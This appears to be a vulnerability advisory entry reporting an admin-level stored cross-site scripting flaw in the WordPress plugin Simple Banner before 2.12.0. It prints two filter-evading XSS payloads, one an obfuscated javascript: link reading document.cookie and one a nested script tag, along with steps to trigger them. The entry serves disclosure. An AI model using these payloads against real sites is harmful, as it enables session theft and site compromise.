Simple Banner < 2.12.0 - Admin+ Stored Cross Site Scripting

2022-07-2600:00:00

Rohan Chaudhari

0.001 Low

EPSS

Percentile

22.7%

JSON

The plugin does not properly sanitize its “Simple Banner Text” Settings allowing high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.

Put the following payloads in the "Simple Banner Text" settings of the plugin:
 <a href="jav&#x09;ascript&colon;alert(document.cookie)">Firefox</a>
 <sc<script>ript>alert(/XSS/)</scr</script>ipt>

Then access the frontend to trigger the XSS

0.001 Low

EPSS

Percentile

22.7%

JSON

Related for WPEX-ID:3FC7986E-3B38-4E16-9516-2AE00BC7A581